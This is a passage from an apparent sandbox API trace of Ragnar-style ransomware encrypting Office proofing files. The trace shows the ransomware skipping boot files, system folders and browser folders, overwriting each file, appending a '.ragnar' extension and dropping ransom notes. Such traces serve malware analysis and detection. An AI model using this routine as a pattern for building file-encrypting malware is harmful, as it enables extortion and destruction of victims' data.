dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x6c67b, nNumberOfBytesToLockHigh=0x0) returned 1 [0067.233] WriteFile (in: hFile=0x10c, lpBuffer=0x300000*, nNumberOfBytesToWrite=0x6c67b, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x300000*, lpNumberOfBytesWritten=0x1eaf30*=0x6c67b, lpOverlapped=0x0) returned 1 [0067.234] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x6c67b, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0067.234] VirtualFree (lpAddress=0x300000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0067.236] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x6c67b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0067.236] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0067.236] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0067.237] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0067.237] WriteFile (in: hFile=0x10c, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0067.237] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0067.237] GetProcessHeap () returned 0x580000 [0067.237] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0067.237] CloseHandle (hObject=0x10c) returned 1 [0067.241] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_EN.LEX" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_EN.LEX") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_EN.LEX" [0067.241] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_EN.LEX", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_EN.LEX.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_EN.LEX.ragnar_FD7BD9FC" [0067.241] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_EN.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\mswds_en.lex"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_EN.LEX.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\mswds_en.lex.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0067.250] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe5e2ea00, ftCreationTime.dwHighDateTime=0x1bdf5d3, ftLastAccessTime.dwLowDateTime=0x5b0da70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe5e2ea00, ftLastWriteTime.dwHighDateTime=0x1bdf5d3, nFileSizeHigh=0x0, nFileSizeLow=0x60983, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSWDS_ES.LEX", cAlternateFileName="")) returned 1 [0067.251] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3c [0067.251] lstrcpyW (in: lpString1=0x1eb632, lpString2="MSWDS_ES.LEX" | out: lpString1="MSWDS_ES.LEX") returned="MSWDS_ES.LEX" [0067.251] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_ES.LEX") returned=".LEX" [0067.251] lstrcmpiW (lpString1="MSWDS_ES.LEX", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0067.251] lstrcmpiW (lpString1="MSWDS_ES.LEX", lpString2="autorun.inf") returned 1 [0067.251] lstrcmpiW (lpString1="MSWDS_ES.LEX", lpString2="boot.ini") returned 1 [0067.251] lstrcmpiW (lpString1="MSWDS_ES.LEX", lpString2="bootfont.bin") returned 1 [0067.251] lstrcmpiW (lpString1="MSWDS_ES.LEX", lpString2="bootsect.bak") returned 1 [0067.251] lstrcmpiW (lpString1="MSWDS_ES.LEX", lpString2="bootmgr") returned 1 [0067.251] lstrcmpiW (lpString1="MSWDS_ES.LEX", lpString2="bootmgr.efi") returned 1 [0067.251] lstrcmpiW (lpString1="MSWDS_ES.LEX", lpString2="bootmgfw.efi") returned 1 [0067.251] lstrcmpiW (lpString1="MSWDS_ES.LEX", lpString2="desktop.ini") returned 1 [0067.251] lstrcmpiW (lpString1="MSWDS_ES.LEX", lpString2="iconcache.db") returned 1 [0067.251] lstrcmpiW (lpString1="MSWDS_ES.LEX", lpString2="ntldr") returned -1 [0067.251] lstrcmpiW (lpString1="MSWDS_ES.LEX", lpString2="ntuser.dat") returned -1 [0067.251] lstrcmpiW (lpString1="MSWDS_ES.LEX", lpString2="ntuser.dat.log") returned -1 [0067.251] lstrcmpiW (lpString1="MSWDS_ES.LEX", lpString2="ntuser.ini") returned -1 [0067.251] lstrcmpiW (lpString1="MSWDS_ES.LEX", lpString2="thumbs.db") returned -1 [0067.251] lstrcmpiW (lpString1=".LEX", lpString2=".db") returned 1 [0067.251] lstrcmpiW (lpString1=".LEX", lpString2=".sys") returned -1 [0067.251] lstrcmpiW (lpString1=".LEX", lpString2=".dll") returned 1 [0067.251] lstrcmpiW (lpString1=".LEX", lpString2=".lnk") returned -1 [0067.251] lstrcmpiW (lpString1=".LEX", lpString2=".msi") returned -1 [0067.251] lstrcmpiW (lpString1=".LEX", lpString2=".drv") returned 1 [0067.251] lstrcmpiW (lpString1=".LEX", lpString2=".exe") returned 1 [0067.251] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_ES.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\mswds_es.lex")) returned 0x20 [0067.251] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_ES.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\mswds_es.lex"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0067.252] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=395651) returned 1 [0067.252] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x6097a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0067.252] GetProcessHeap () returned 0x580000 [0067.252] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0067.252] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0067.253] VirtualAlloc (lpAddress=0x0, dwSize=0x60983, flAllocationType=0x3000, flProtect=0x4) returned 0x300000 [0067.253] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0067.253] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0067.254] ReadFile (in: hFile=0x10c, lpBuffer=0x300000, nNumberOfBytesToRead=0x60983, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x300000*, lpNumberOfBytesRead=0x1eaf34*=0x60983, lpOverlapped=0x0) returned 1 [0067.262] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0067.264] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x60983, nNumberOfBytesToLockHigh=0x0) returned 1 [0067.264] WriteFile (in: hFile=0x10c, lpBuffer=0x300000*, nNumberOfBytesToWrite=0x60983, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x300000*, lpNumberOfBytesWritten=0x1eaf30*=0x60983, lpOverlapped=0x0) returned 1 [0067.265] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x60983, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0067.265] VirtualFree (lpAddress=0x300000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0067.267] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x60983, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0067.267] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0067.267] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0067.267] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0067.267] WriteFile (in: hFile=0x10c, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0067.268] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0067.268] GetProcessHeap () returned 0x580000 [0067.268] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0067.268] CloseHandle (hObject=0x10c) returned 1 [0067.272] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_ES.LEX" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_ES.LEX") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_ES.LEX" [0067.272] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_ES.LEX", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_ES.LEX.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_ES.LEX.ragnar_FD7BD9FC" [0067.272] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_ES.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\mswds_es.lex"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_ES.LEX.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\mswds_es.lex.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0067.272] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf3c9300, ftCreationTime.dwHighDateTime=0x1bdf5d3, ftLastAccessTime.dwLowDateTime=0x78ced70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcf3c9300, ftLastWriteTime.dwHighDateTime=0x1bdf5d3, nFileSizeHigh=0x0, nFileSizeLow=0x482ef, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSWDS_FR.LEX", cAlternateFileName="")) returned 1 [0067.272] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3c [0067.273] lstrcpyW (in: lpString1=0x1eb632, lpString2="MSWDS_FR.LEX" | out: lpString1="MSWDS_FR.LEX") returned="MSWDS_FR.LEX" [0067.273] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_FR.LEX") returned=".LEX" [0067.273] lstrcmpiW (lpString1="MSWDS_FR.LEX", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0067.273] lstrcmpiW (lpString1="MSWDS_FR.LEX", lpString2="autorun.inf") returned 1 [0067.273] lstrcmpiW (lpString1="MSWDS_FR.LEX", lpString2="boot.ini") returned 1 [0067.273] lstrcmpiW (lpString1="MSWDS_FR.LEX", lpString2="bootfont.bin") returned 1 [0067.273] lstrcmpiW (lpString1="MSWDS_FR.LEX", lpString2="bootsect.bak") returned 1 [0067.273] lstrcmpiW (lpString1="MSWDS_FR.LEX", lpString2="bootmgr") returned 1 [0067.273] lstrcmpiW (lpString1="MSWDS_FR.LEX", lpString2="bootmgr.efi") returned 1 [0067.273] lstrcmpiW (lpString1="MSWDS_FR.LEX", lpString2="bootmgfw.efi") returned 1 [0067.273] lstrcmpiW (lpString1="MSWDS_FR.LEX", lpString2="desktop.ini") returned 1 [0067.273] lstrcmpiW (lpString1="MSWDS_FR.LEX", lpString2="iconcache.db") returned 1 [0067.273] lstrcmpiW (lpString1="MSWDS_FR.LEX", lpString2="ntldr") returned -1 [0067.273] lstrcmpiW (lpString1="MSWDS_FR.LEX", lpString2="ntuser.dat") returned -1 [0067.273] lstrcmpiW (lpString1="MSWDS_FR.LEX", lpString2="ntuser.dat.log") returned -1 [0067.273] lstrcmpiW (lpString1="MSWDS_FR.LEX", lpString2="ntuser.ini") returned -1 [0067.273] lstrcmpiW (lpString1="MSWDS_FR.LEX", lpString2="thumbs.db") returned -1 [0067.273] lstrcmpiW (lpString1=".LEX", lpString2=".db") returned 1 [0067.273] lstrcmpiW (lpString1=".LEX", lpString2=".sys") returned -1 [0067.273] lstrcmpiW (lpString1=".LEX", lpString2=".dll") returned 1 [0067.273] lstrcmpiW (lpString1=".LEX", lpString2=".lnk") returned -1 [0067.273] lstrcmpiW (lpString1=".LEX", lpString2=".msi") returned -1 [0067.273] lstrcmpiW (lpString1=".LEX", lpString2=".drv") returned 1 [0067.273] lstrcmpiW (lpString1=".LEX", lpString2=".exe") returned 1 [0067.273] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_FR.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\mswds_fr.lex")) returned 0x20 [0067.302] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_FR.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\mswds_fr.lex"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0067.302] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=295663) returned 1 [0067.302] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x482e6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0067.302] GetProcessHeap () returned 0x580000 [0067.303] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0067.303] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0067.310] VirtualAlloc (lpAddress=0x0, dwSize=0x482ef, flAllocationType=0x3000, flProtect=0x4) returned 0x300000 [0067.663] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0067.666] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0067.676] ReadFile (in: hFile=0x10c, lpBuffer=0x300000, nNumberOfBytesToRead=0x482ef, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x300000*, lpNumberOfBytesRead=0x1eaf34*=0x482ef, lpOverlapped=0x0) returned 1 [0067.937] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0067.939] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x482ef, nNumberOfBytesToLockHigh=0x0) returned 1 [0067.939] WriteFile (in: hFile=0x10c, lpBuffer=0x300000*, nNumberOfBytesToWrite=0x482ef, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x300000*, lpNumberOfBytesWritten=0x1eaf30*=0x482ef, lpOverlapped=0x0) returned 1 [0067.940] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x482ef, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0067.940] VirtualFree (lpAddress=0x300000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0067.941] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x482ef, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0067.941] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0067.941] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0067.941] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0067.941] WriteFile (in: hFile=0x10c, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0067.942] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0067.942] GetProcessHeap () returned 0x580000 [0067.942] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0067.942] CloseHandle (hObject=0x10c) returned 1 [0067.944] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_FR.LEX" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_FR.LEX") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_FR.LEX" [0067.944] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_FR.LEX", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_FR.LEX.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_FR.LEX.ragnar_FD7BD9FC" [0067.944] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_FR.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\mswds_fr.lex"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_FR.LEX.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\mswds_fr.lex.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0067.945] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7a4cc1c0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x7a4cc1c0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0067.945] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3c [0067.945] lstrcpyW (in: lpString1=0x1eb632, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0067.945] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\RGNR_FD7BD9FC.txt") returned=".txt" [0067.945] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="RGNR_FD7BD9FC.txt") returned 0 [0067.945] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7a4cc1c0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x7a4cc1c0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 0 [0067.945] FindClose (in: hFindFile=0x5a1328 | out: hFindFile=0x5a1328) returned 1 [0067.945] FindNextFileW (in: hFindFile=0x5a12e8, lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ecc3ce0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x6ecc3ce0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0067.945] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0067.945] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0067.945] FindNextFileW (in: hFindFile=0x5a12e8, lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xd5807780, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd5807780, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Smart Tag", cAlternateFileName="SMARTT~1")) returned 1 [0067.945] lstrcmpiW (lpString1="Smart Tag", lpString2=".") returned 1 [0067.945] lstrcmpiW (lpString1="Smart Tag", lpString2="..") returned 1 [0067.945] lstrcmpiW (lpString1="Smart Tag", lpString2="Windows") returned -1 [0067.945] lstrcmpiW (lpString1="Smart Tag", lpString2="Windows.old") returned -1 [0067.945] lstrcmpiW (lpString1="Smart Tag", lpString2="Tor browser") returned -1 [0067.945] lstrcmpiW (lpString1="Smart Tag", lpString2="Internet Explorer") returned 1 [0067.945] lstrcmpiW (lpString1="Smart Tag", lpString2="Google") returned 1 [0067.945] lstrcmpiW (lpString1="Smart Tag", lpString2="Opera") returned 1 [0067.945] lstrcmpiW (lpString1="Smart Tag", lpString2="Opera Software") returned 1 [0067.946] lstrcmpiW (lpString1="Smart Tag", lpString2="Mozilla") returned 1 [0067.946] lstrcmpiW (lpString1="Smart Tag", lpString2="Mozilla Firefox") returned 1 [0067.946] lstrcmpiW (lpString1="Smart Tag", lpString2="$Recycle.Bin") returned 1 [0067.946] lstrcmpiW (lpString1="Smart Tag", lpString2="ProgramData") returned 1 [0067.946] lstrcmpiW (lpString1="Smart Tag", lpString2="All Users") returned 1 [0067.946] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\*.*", nBufferLength=0x104, lpBuffer=0x1ec098, lpFilePart=0x1ec544 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\*.*", lpFilePart=0x1ec544*="*.*") returned 0x36 [0067.946] lstrcpyW (in: lpString1=0x1ec0fe, lpString2="Smart Tag" | out: lpString1="Smart Tag") returned="Smart Tag" [0067.946] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag", lpString2="\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\" [0067.946] lstrcpyW (in: lpString1=0x1ebe8c, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\" [0067.946] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart 